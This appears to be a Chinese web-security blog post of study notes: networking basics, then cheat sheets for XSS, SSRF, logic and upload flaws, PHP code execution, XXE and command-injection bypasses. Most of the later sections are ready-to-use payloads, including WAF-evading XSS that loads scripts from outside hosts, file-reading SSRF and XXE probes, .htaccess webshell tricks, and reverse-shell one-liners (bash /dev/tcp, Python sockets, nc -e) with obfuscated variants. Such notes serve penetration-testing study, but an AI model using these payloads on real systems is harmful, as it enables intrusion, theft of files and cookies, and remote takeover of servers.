List :

  1. 基本网络思维模型
  2. TCP&UDP 笔记
  3. XSS 备忘录
  4. SSRF 备忘录
  5. 逻辑漏洞备忘录
  6. 上传漏洞备忘录
  7. PHP 远程代码执行备忘录
  8. 引用XXE 外部实体注入
  9. RCE_bypass 笔记

0x1 基本网络思维模型

1.1 技术架构 CS (Client /Server)

Client 指的是客户端,我们每个人的电脑都可以当做一个客户端,日常的一些上网,使用谷歌浏览器搜索东西,打开视频软件浏览视频,打开音乐播放器下载歌曲...这些操作都是要与远方的另一台电脑进行通信的,远方的那台计算机称为服务器(Server)

1.2 技术架构 BS (Browser / Server)

通过浏览器访问服务器端的都可以称为BS架构。

Tips:通常的话 BS 架构也是在 CS 架构里面的,但是因为互联网发展迅速,更新换代太快,所以单独将 BS 架构这块分了出来。

1.3 HTTP 请求头

| **协议头**       | **说明**                                                                                                     |
| --------------- | ---------------------------------------------
| X-Forwarded-For | 用来表示 HTTP 请求端真实 IP
| Accept          | 可接受的响应内容类型(Content-Types)
| Accept-Charset  | 可接受的字符集
| Accept-Encoding | 可接受的响应内容的编码方式
| Accept-Language | 可接受的响应内容语言列表                                                        
| Accept-Datetime | 可接受的按照时间来表示的响应内容版本 
| Cookie          | 由之前服务器通过Set-Cookie(见下文)设置的一个HTTP协议Cookie
| Content-Length  | 以8进制表示的请求体的长度          
| Content-MD5     | 请求体的内容的二进制 MD5 散列值(数字签名),以 Base64 编码的结果
| Content-Type    | 请求体的MIME类型 (用于POST和PUT请求中)      
| Date            | 发送该消息的日期和时间
| Expect          | 表示客户端要求服务器做出特定的行为    
| From            | 发起此请求的用户的邮件地址             |
| Host            | 表示服务器的域名以及服务器所监听的端口号。
| Origin          | 发起一个针对跨域资源共享的请求(该请求要求服务器在响应中加入一个Access-Control-Allow-Origin的消息头,表示访问控制所允许的来源)。 
| Range           | 表示请求某个实体的一部分,字节偏移以0开始。   
| Referer         | 表示浏览器所访问的前一个页面,可以认为是之前访问页面的链接将浏览器带到了当前页面。
| User-Agent      | 浏览器的身份标识字符串  

...

1.4 HTTP 响应头

| **响应头**                  | **说明**                                                                                        |
| --------------------------- | ------------------------------------------------------------ | ----
| Access-Control-Allow-Origin | 指定哪些网站可以跨域源资源共享     
| Accept-Patch                | 指定服务器所支持的文档补丁格式  
| Accept-Ranges               | 服务器所支持的内容范围      
| Age                         | 响应对象在代理缓存中存在的时间,以秒为单位 
| Allow                       | 对于特定资源的有效动作;        
| Cache-Control               | 通知从服务器到客户端内的所有缓存机制,表示它们是否可以缓存这个对象及缓存有效时间。其单位为秒                  |
| Connection                  | 针对该连接所预期的选项    
| Content-Disposition         | 对已知MIME类型资源的描述,浏览器可以根据这个响应头决定是对返回资源的动作,如:将其下载或是打开。 
| Content-Encoding            | 响应资源所使用的编码类型。     
| Content-Language            | 响应内容所使用的语言                              
| Content-Length              | 响应消息体的长度,用8进制字节表示 
| Content-Location            | 所返回的数据的一个候选位置 
| Content-Type                | 当前内容的MIME类型  
| Date                        | 此条消息被发送时的日期和时间
| Location                    | 用于在进行重定向,或在创建了某个新资源时使用。 
| Proxy-Authenticate          | 要求在访问代理时提供身份认证信息。 
| Refresh                     | 用于重定向,或者当一个新的资源被创建时。默认会在5秒后刷新重定向。
| Server                      | 服务器的名称   
| Set-Cookie                  | 设置HTTP cookie     
| Status                      | 通用网关接口的响应头字段,用来说明当前HTTP连接的响应状态。
| Trailer                     | Trailer用户说明传输中分块编码的编码信息  
| Transfer-Encoding           | 用表示实体传输给用户的编码形式。包括:chunked、compress、 deflate、gzip、identity。 

HTTP协议 详细参考

1.4 HTTP 请求方法

GET、POST、PUT、COPY、DELETE、OPTIONS...

1.5 HTTP常见状态码

200、301、302、500、404、403、502

1.6 GET & POST 的区别

在浏览器的角度

浏览器限制GET接收的的长度,但是不限制POST提交的长度,POST提交的长度取决于服务器。

数据接收方式

GET请求接收的方式是通过浏览器的地址栏来接收的,而POST是通过表单隐藏式的提交数据。

1.7 局域网的简单通信(数据链路层)

  • 一般局域网都是通过交换机/路由器进行通信。
  • 很早之前的网络大部分是通过HUB(集线器)进行通信。
  • 缺点就是主机发送的数据包都会被其他的主机接收到,这个过程称为泛洪。
  • 交换机在此基础上进行了改进,使其变得更安全,同样也保留了HUB的一些功能。
  • 局域网通过MAC地址表来进行数据通信。

1.8 交换机主机通信过程

  1. 交换机 ARP 广播
  2. PC计算机接收响应
  3. 发送数据 ---> 交换机转发并记录MAC地址
  4. 如果交换机的MAC表被填满,将会泛洪(ARP毒化)
  5. ARP欺骗 ---> 伪造MAC地址来进行欺骗的效果

Tips:有些交换机重启的时候会清空MAC地址表。


0x2 TCP&UDP 笔记

1. 知名端口

系统程序所使用的端口号, 范围是0-1023

telnet 23
ftp 21
http 80
https 443
smtp 25
dns 53
DHCP 67
tftp 69
…

2. 动态端口

动态端口的范围时 1024-65535,当服务或者程序关闭时也就释放了所占用的端口

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
6379 redis
27017 Mongodb
5000 DB2

4848 glassfish
7001 WebLogic
2601 zebra路由,默认密码zebra
3389 远程桌面 (shift 后门)
8080 apache tomcat
5900 vnc 虚拟网络控制台
11211 memcache未授权访问
2181 Zookeeper未授权访问

3. 查看端口号

netstat -an | grep “:8080”  # 显示打开的端口所在协议。

lsof -i :8080               # 显示对应端口的服务名称(所用程序)。

netstat -anp | grep “:8080” # 查看上面两条命令的综合信息

Tips:如果该服务不属于当前的用户,需要sudo权限(root)

4. UDP协议

UDP发送数据之前不需要建立连接

特点:
  1. 无连接
  2. 资源开销小
  3. 传输速度快
  4. udp每个数据包最大64k
优点:
  1. 传输速度快
  2. 不需要连接,资源开销小
缺点

传输数据不可靠,容易丢数据包,没有流量控制,当对方没有及时接受数据,发送方一直发送数据包会导致缓冲区数据溢出,电脑出现卡死情况,所有接受方需及时接受数据。

UDP 使用场景

当对网络通讯质量要求不高的时候,要求网络通讯速度尽量的快。

例如 :

  1. 音视频传输
  2. 共享屏幕软件
  3. 发送广播消息
特点:
  1. 无连接
  2. 资源开销小
  3. 传输速度快
  4. udp每个数据包最大64k
Python socket
import socket
socket.socket(AddressFamily,Type)
AddressFamily:IP地址类型;AF_INET代表ipv4类型、AF_INET6表示ipv6类型;
Type:套接字类型,可以是SOCK_STREAM (流式套接字,主要用于TCP协议) 或者 SOCK_DGRAM(数据报套接字,UDP协议)

5. TCP协议

面向连接

通信双方必须先建立连接才进行数据的传输,双方都必须为该连接分配必要的系统内核资源,以管理连接的状态和连接上的传输,双方间的数据传输都可以用过这一个连接进行,完成数据交换后,双方必须断开此连接,以释放系统资源,这种连接是一对一的,因此TCP不适合于广播的应用程序,基于广播的程序请使用UDP协议。

可靠传输
  1. tcp 采用发送应答机制

    tcp发送的每一条报文段必须得到接收方的应答才认为这个tcp报文段传输成功

  2. 超时重传

    发送端发出一个报文之后启动定时器,如果在定时时间内没有收到应答就重新发送这个报文段

  3. 错误效验

    检测数据到发送端到接收端之间是否有改动,直接丢弃这个数据包

  4. 流量控制和阻塞管理

    流量控制用来避免主机发送得过快而使接收方来不及完全收下。

TCP 使用场景

当对网络通讯质量有要求的时候,比如 HTTPHTTPSFTP等网络传输协议,POPSTMTP等邮件传输协议。


0x3 XSS 备忘录

XSS 又叫CSS (Cross Site Script) , 跨站脚本攻击。以下为学习《心伤的瘦子XSS系列》的个人笔记,和其他总结的内容。

1. 一个普通反射型的XSS

http://localhost/xxxxxxxssssssssssss/xss.php?name=<script>alert(1)</script>

2. HTML编码

http://   
&#104;&#116;&#116;&#112;&#58;&#47;&#47; 
&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;

Tips: 这三个是标签是相等的,都为 http:// ,其中 Hex 是十六进制编码,Dec 是十进制编码。

这种编码在 html 执行的前提是,必须在值里例如:

<a href=”xxx”>
<img src=”xxx”>

3. Unicode编码

Js中是允许使用 unicode编码的。

<  ==  “\x3c” == “\u003c”
>  ==  “\x3e” == “\u003e”
空格 == “\x20” == ” \u0020”
.....

4. CSS编码

使用 Unicode 写中文字体名称,浏览器是可以正确的解析的。
例如:font-family: "5FAE8F6F96C59ED1",表示设置字体为“微软雅黑”。
CSS 中 expression 用来把CSS属性和Javascript表达式关联起来。

<img src="URL" style='Xss:expression(alert(/xss/));'>

Tips: 但是这种的只能在IE6 , IE7 中才会触发。

5. 宽字节

Gbxxx系列编码。

%aa将%27吞并组成一个gbxxx字符 ==>  猏’
%aa%27 | alert(1)//

6. eval(string) 函数

eval 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

eval('alert(1)')

7. fromcharcode() 函数

可接受指定的unicode编码的值,返回字符串,可以配合eval函数使用。

alert(1) ==> String.fromCharCode(97,108,101,114,116,40,49,41)


// 结合 eval() 函数
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

8. 伪协议

Javascript:alert(document.domain) 
data:text/html,<script>alert(1)</script> 
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 
vbscript: xxxx     // IE中运行

9. URL编码

%0a  //  URL换行符  
%20  //  空格
! %21 
" %22 
# %23 
$ %24 
% %25 
& %26 
' %27 
( %28 
) %29 
* %2A 
+ %2B 
......

10. JS 多行字符串

Var a='\
Test\
En\
//coding\
Aaa'

11. JS特性

& 比 = 优先级高
== 比 & 优先级高

Javascript 是从上到下按顺序执行的。

test()
function test(){
//code...   这种形式定义的函数会被优先解析
}  
 
# 实际解析顺序
function test(){
//code...   这种形式定义的函数会被优先解析
} 
test()

12. 注释符

//             // js注释
<!-- -->       // HTML注释
/**/           // js注释

13. HTML属性

当元素失去焦点时发生的事件,按下tab键触发js。

<aaaa tabindex=1 onblur="alert(1)"></aaaa>

当元素获得焦点时发生的事件,按下tab键触发js。

<aaaa tabindex=1 onfocus="alert(1)"></aaaa>

14. JS 黑魔法

1.jjencode --将JS代码转换成只有符号的字符串。

网址:http://utf-8.jp/public/jjencode.html

2.aaencode --将JS代码转换成常用的网络表情。

网址:http://utf-8.jp/public/aaencode.html

3.Jsfuck --使用六个不同的字符来编写和执行代码。

网址:http://utf-8.jp/public/aaencode.html

15. 常用绕过 Payload

<svg/onload=prompt(1);>      // 短的xss_payload

<q/oncut=open()>                // 短的xss_payload

<q/oncut=alert(1)>        // 短的xss_payload

<scrip<script>t>alealertr(1)</scrip<script>t>   // 过滤不严

<ScriPt>alErT(1)</sCripT>     // 大小写绕过

<script>prompt(1);</script>   // 过滤alert 情况下

<script src="http://www.secbook.info/demo.js"></script>

<div onclick="alert('xss')">  // 点击它后会触发

<div onmouseenter="alert('xss')">  // 用户鼠标移动到 div 上时会触发

<iframesrc="javascript:alert(2)">

<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

<%0ascript>alert(1);</script>     // 语法 BUG

\"oNmOuSeOvEr=prompt&#x0028;1)//

confirm(document.cookie) 

"-prompt(1)-"


// 过狗payload 360主机卫士apache版
<svg %26%2362 onload=alert`1`> 
<style %26%2362 onload=alert`1`> 
<img %26%2362 src=1 onerror=alert`1`> 
<audio %26%2362 src=x onerror=alert`1`> 
<svg %26%2362 onload=appendChild(createElement('script')).src='//xs.ax/HfcB'>

// 云锁
<svg %26%2362 onload=alert`1`>

// 奇安信CDN
<select autofocus onfocus=[2].find(alert)>  

// 阿里云和百度加速
<img src=# onerror=alert`2`> 
<input onfocus="document.body.appendChild(createElement('script')).src='//xss.xx/B6Bb'" autofocus>

16. XSS Bypass 小技巧

https://aem1k.com/aurebesh.js

XSS Payload:
这='',是=!这+这,一=!是+这,个=这+{},变=是[这++],量=是[这这=这],这是=++这这+这,这一=个[这这+这是],是[这一+=个[这]+(是.一+个)[这]+一[这是]+变+量+是[这这]+这一+变+个[这]+量][这一](一[这]+一[这这]+是[这是]+量+变+"(这)")()

0x4 SSRF 备忘录

SSRF (Server-side Request Forgery)服务端请求伪造。

1. SSRF Demo

// ssrf.php
<?php
function curl($url){   //  程序获取url参数
    
    $ch=curl_init();   // 通过curl_init()初始化curl组件后
    curl_setopt($ch,CURLOPT_URL,$url); 
    // 将参数URL带入curl_setopt($ch,CURLOPT_URL,$url),
    curl_setopt($ch,CURLOPT_HEADER,0);
    curl_exec($ch); // 然后调用curl_exec请求该URL
    curl_close($ch);
}
$url=$_GET['url’];
// 由于服务器端会将banner信息返回给客户端,所以可根据banner判断主机是否存在某些服务。
curl($url);
?>

2. Curl 支持的协议

Mac-PpBiBo $ curl -V
curl 7.54.0 (x86_64-apple-darwin18.0) libcurl/7.54.0 LibreSSL/2.6.5 zlib/1.2.11 nghttp2/1.24.1
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp 

3. 探测内网

http://192.168.1.102/ssrf.php?url=dict://127.0.0.1:3306
view-source:http://192.168.1.102/ssrf.php?url=http://192.168.1.101/l.php
http://192.168.1.102/ssrf.php?url=http://192.168.1.101/robots.txt
http://192.168.1.102/ssrf.php?url=http://192.168.1.101/favicon.ico
http://192.168.1.102/ssrf.php?url=http://192.168.1.101/index.html
http://192.168.1.102/ssrf.php?url=file://C:/phpStudy/phptutorial/WWW/1.asp
http://192.168.1.102/ssrf.php?url=file:///etc/passwd
view-source:http://192.168.1.102/ssrf.php?url=file://C:/phpStudy/phptutorial/WWW/cmd.php
http://192.168.1.102/ssrf.php?url=http://192.168.1.101/muma.php?pass=phpinfo();
http://192.168.1.102/ssrf.php?url=

4. 绕过技巧

短网址绕过。
IP限制绕过(十进制转换、八进制转换、十六进制转换、不同进制组合转换)。

http://2130706433 IP转10进制。

http://0x7F000001 IP转16进制。

https://abc.com@127.0.0.1http://127.0.0.1 的请求是一样的。

5. WEB功能上寻找SSRF漏洞

  1. 分享:通过URL地址分享网页内容
  2. 转码服务:通过URL地址把原地址的内容调优为适合手机屏幕浏览的内容
  3. 在线翻译:通过URL地址翻译对应的网页内容。提供此功能的有国内的百度翻译,有道翻译
  4. 图片加载和下载:通过URL加载图片或下载
  5. 图片、文章收藏功能
  6. 未公开的api实现及其他通过参数调用外部资源的功能

6. URL中可能存在SSRF漏洞的参数

share
url
img
wap
link
src
source
target
u
3g
display
sourceURL
image
imageURL
domain

0x5 逻辑漏洞备忘录

1. 逻辑漏洞常见的类型

  1. 支付漏洞
  2. 密码找回漏洞
  3. 任意用户登陆漏洞
  4. 认证缺陷(弱认证、认证凭证获取)
  5. 接口枚举(Fuzz)
  6. 越权(有条件的越权:空值绕过)
  7. 条件竞争
  8. 省略号...

2. 支付漏洞突破口:

一、订单相关

  1. 选择商品时修改商品价格;
  2. 选择商品时将商品数量设为负数;
  3. 商品剩余1时,多人同时购买,是否产生冲突;
  4. 商品为0时是否还能购买;
  5. 生成订单时修改订单金额;

二、结算相关

  1. 优惠打折活动多次重复使用;
  2. 拦截数据包,修改订单金额;
  3. 拦截数据包,修改支付方式;
  4. 伪造虚假订单,刷单;

三、支付相关

  1. 拦截数据包,伪造第三方确认信息;
  2. 保存用户付款信息被窃取;

四、退货相关

  1. 绕过商家确认直接退货;
  2. 绕过商品类型直接退货;(退货是否允许)

五、收货相关

  1. 绕过客户确认直接收货;

3 密码重置漏洞:

Tips: 用户密码找回方式:手机验证码、邮箱、密保问题、自动生成新密码、密码找回链接发送。

Token可预测
认证凭证暴力破解
认证凭证回显
认证凭证重复使用
重新绑定
用户身份特性认证
服务器端认证
本地认证
密码找回流程绕过
。。。。。。。

4. 任意用户登录突破口:

​ 空密码绕过
​ 身份替换
​ 认证凭证篡改
。。。。。。。

5. 认证缺陷漏洞突破口:

​ 弱验证
​ 空验证
认证凭证有效性&唯一性
。。。。。。。

6. 越权漏洞突破口:

​ 普通越权
未授权访问(登录凭证验证)
绕过授权模式(参数构造等)

7. 接口枚举:

​ 业务接口因为没有做验证或者验证机制缺陷,容易遭到枚举攻击 撞库 订单、优惠券等遍历。


0x6 上传漏洞备忘录

1. 客户端javascript检测(通常为检测文件扩展名)

  1. 禁用js
  2. F12 修改 js 验证代码(例如: 将php的格式添加进去)。
  3. BurpSuite 抓包改名。

2. 服务端MIME类型检测(检测Content-Type内容)

直接使用 burpsuite 抓包,得到 post上传数据后,将 Content-Type: text/plain 改成 Content-Type: image/gif 就可以成功绕过。

3. 可重写文件解析规则绕过

.htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测

通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含 ”haha” 这个字符串的 任意文件,所以无论文件名是什么样子,只要包含 ”haha” 这个字符串,都可以被以 php 的方式来解析,是不是相当邪恶,一个自定义的 .htaccess 文件就可以以各种各样的方式去绕过很 多上传验证机制

建一个 .htaccess 文件,里面的内容如下。

### 包含 "haha" 这个字符串,都可以被以 php 的方式来解析
<FilesMatch "haha">
SetHandler application/x-httpd-php 
</FilesMatch>

-----------------------------------
### 包含 ".jpg" 这个字符串,都可以被以 php 的方式来解析
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>

同目录有个我们上传一个只有文件名并包含字符串 ”haha” ,但是却无任何扩展名的文件,里面的内容是 php 一句话木马。

4. 服务端检测绕过(目录路径检测)

上传的文件名写成 11.jpg , save_path 改成 ../upload/11.php%00 ,最后保存下来的文件就是 11.php

目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御,例如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞

当 POST 下面的 URL 的时候。

/fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gif HTTP/1.0

CurrentFolder 的值会传到ServerMapFolder($resourceType, $folderPath, $sCommand)中的形参 $folder 里,而 $folder 在这个函数中并没做任何检测,就被 CombinePaths()了。

5. 可被利用过滤

双写文件名绕过,文件名改成 hacker.phphpp

6. 文件头检查

添加GIF图片的文件头 GIF89a,绕过GIF图片检查。

7. 后缀名黑名单

1.文件名后缀大小写混合绕过

.php 改成 .pHP 然后上传即可。

2.名单列表绕过

用黑名单里没有的名单进行攻击,比如黑名单里没有

脚本语言:      
asp/aspx  
可解析后缀:
asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

脚本语言:    
php
可解析后缀:       php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml

脚本语言:
jsp      
可解析后缀:  jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

8. 可被利用Windows系统的特性

1.比如发送的 http 请求包里把文件名改成 test.asp.test.asp_ (下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burpsuite 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

2.Windows文件流特性绕过
文件名改成 .php::$DATA , 上传成功后保存的文件名其实是.php

9. [0x00]截断绕过

在扩展名检测这一块目前我只遇到过 asp 的程序有这种漏洞,给个简单的伪代码 。

name = getname(http request)  //假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00)

type = gettype(name)  //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg

if (type == jpg)
    code ....

Tips: PHP %00 截断,在 php5.3.4 以下 并且php.inimagic_quotes_gpc off%00 截断。

10. 白名单

1.解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞。

2.文件解析漏洞: 解析漏洞主要说的是一些特殊文件被 iisapachenginx 在某种情况下解释成脚本文件格式的漏洞。

1. IIS5.x/6.0解析漏洞,文件解析。
.asp;.jpg
2. IIS6.0下分号后面的不被解析,例如:1.asp;.jpg ,目录解析。
.x.asp/1.jpg
./liuwx.asa
/liuwx.cer
/liuwx.cdx
xasa,cer,(都是以asp格式来运行)
3. Apache解析漏洞

Apache 是从右边到左开始判断解析,如果为不可识别,就继续往左判断,可以用 1.php.xxx

4. IIS 7.0/IIS7.5/Nginx<8.03畸形解析漏洞。
1.jpg/x.php    // 会以php脚本执行
x.asp%00.jpg 
a.aspx.a;.a.aspx.jpg..jpg

0x7 PHP 远程代码执行备忘录

1. 常见的代码执行函数

  eval()
  assert()
  preg_replace("//e",$_GET['h'],"")
  create_function()
  array_map()
  call_user_func()
  call_user_func_array()
  array_filter()
  uasort()
  ...

2. 常见的系统命令执行函数

  system()
​  exec()
​  popen()
​  passthru()
  shell_exec()
  ...

Tips: 在php解释器中可以通过 echo "{${phpinfo()}}"; 方法来执行函数。


0x8 引用XXE 外部实体注入

XXE Injection 即 XML External Entity Injection, XML外部实体注入攻击。

Demo Code:

<?php

$s=<<<XML
<!DOCTYPE a [<!ENTITY demo SYSTEM "file:///C:/Windows/win.ini">]>
<d>&demo;</d>
XML;

// simplexml_load_string — 将XML字符串解释为对象。
echo simplexml_load_staring($s);

1. XXE Injection 危害

  1. 本地文件读取
  2. 内网访问,主机/端口扫描
  3. 网络访问
  4. 系统命令执行(特定协议,如PHP的expect)
  5. 拒绝服务(嵌套引用,指数爆炸)

2. 发现 XXE 注入

1.单双引号 ' "

Tips:XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
···································································································
2.尖括号 < >

Tips:XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
···································································································
3.注释符 <!--

Tips:XML使用 <!-- This is a comment --> 作注释。
···································································································
4.&

Tips:& 用于引用实体。
···································································································
5.CDATA 分隔符]]>

Tips:<![CDATA[foo]]> 中的内容不被parser解析,提前闭合引发异常。
···································································································

3. 尝试利用实体和DTD

1.引用外部DTD文件访问内网主机/端口。

<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)

2.引用外部DTD文件访问外网。

<!DOCTYPE a SYSTEM "http://vps_ip" >

3.引用内部实体。

<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>

4.外部实体读本地文件。

<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>

5.外部实体访问内网主机/端口。

<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)

6.外部实体访问外网。

<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>

引用:https://xz.aliyun.com/t/2571


0x9 RCE_bypass 笔记

1. 反弹SHELL的姿势

sh -c "cmd"
bash -i >& /dev/tcp/ip/port 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip", port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
nc -e /bin/bash ip port

2. Trick 奇淫巧技

`  &  ||  |  $() 
%0a                    换行符
%0d                    回车符
;                      连续指令
a=l;b=s;$a$b           局部变量
curl `whoami`xxxx.xxx  DNS管道解析
1>wget\
1>xxx.com.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls -t>a
sh a

ls -t 是按照时间顺排序。

cat flag:

cat fla[a-z]
cat fl[a]g
cat f``lag
c'a't /f'la'g
cat fl??
cat f*
cat $(echo -n "base64加密的flag" | base64-d)
cat `echo -n "base64加密的flag" | base64-d`
c\at /fl\ag
head /`ls /|grep 'fla'
a=c;b=at;c=fl;d=ag;$a$b $c$d

3. 通配符

/???/n? -e /???/b??h 127.0.0.1 6666
bin/nc -e /bin/bash 127.0.0.1 6666
/???/c?t /?t?/p??swd
*       代表 0 个到无穷多个任意字符
?       代表一定有一个任意字符
[ ]     同样代表一定有一个在括号内的字符(非任意字符)。
[ - ]   若有减号在中括号内时,代表在编码顺序内的所有字符。
[^ ]    若中括号内的第一个字符为指数符号 (^) ,表示反向选择。

4. 利用历史执行记录来bypass

root@kali$ cat
root@kali$ fl
root@kali$ ag

root@kali$ history
1.cat
2.fl
3.ag

root@kali$ !1!2!3
flag{ea3y_bypa3s_inj3ct1on}

5. 过滤空格的时候

cat${IFS}flag
cat$IFS$9flag
``、< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等可以替代空格。

6. 命令终止符
%00%20%09 (需要php环境)

7. 其他绕过

cat$u /etc$u/passwd$u
/?in/cat /?tc/p?sswd
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
/"b"i"n"/"w"h"i"c"h" "n"c
/b\i\n/w\h\i\c\h n\c
{\c''\a""t,/e''*?/?a?s??}
{$'\x63'\a$'\x74',/\e''*?/\p*$'\x64'}

8. 写文件

1.Windows

生成 hex.txt,机器码对应的内容是 Hallo World!

echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >hex.txt
certutil -decodehex hex.txt bin.txt

2.Linux

echo -e "\x61">1.txt

标签: Web安全

仅有一条评论

  1. admin

    参考来源作者:花与海 RCE_bypass 、Sven 上传漏洞、倾旋 WEB扫盲、心伤的瘦子XSS系列、Mat SSRF、引用先知findneo XML实体注入总结等。

添加新评论

marisa.png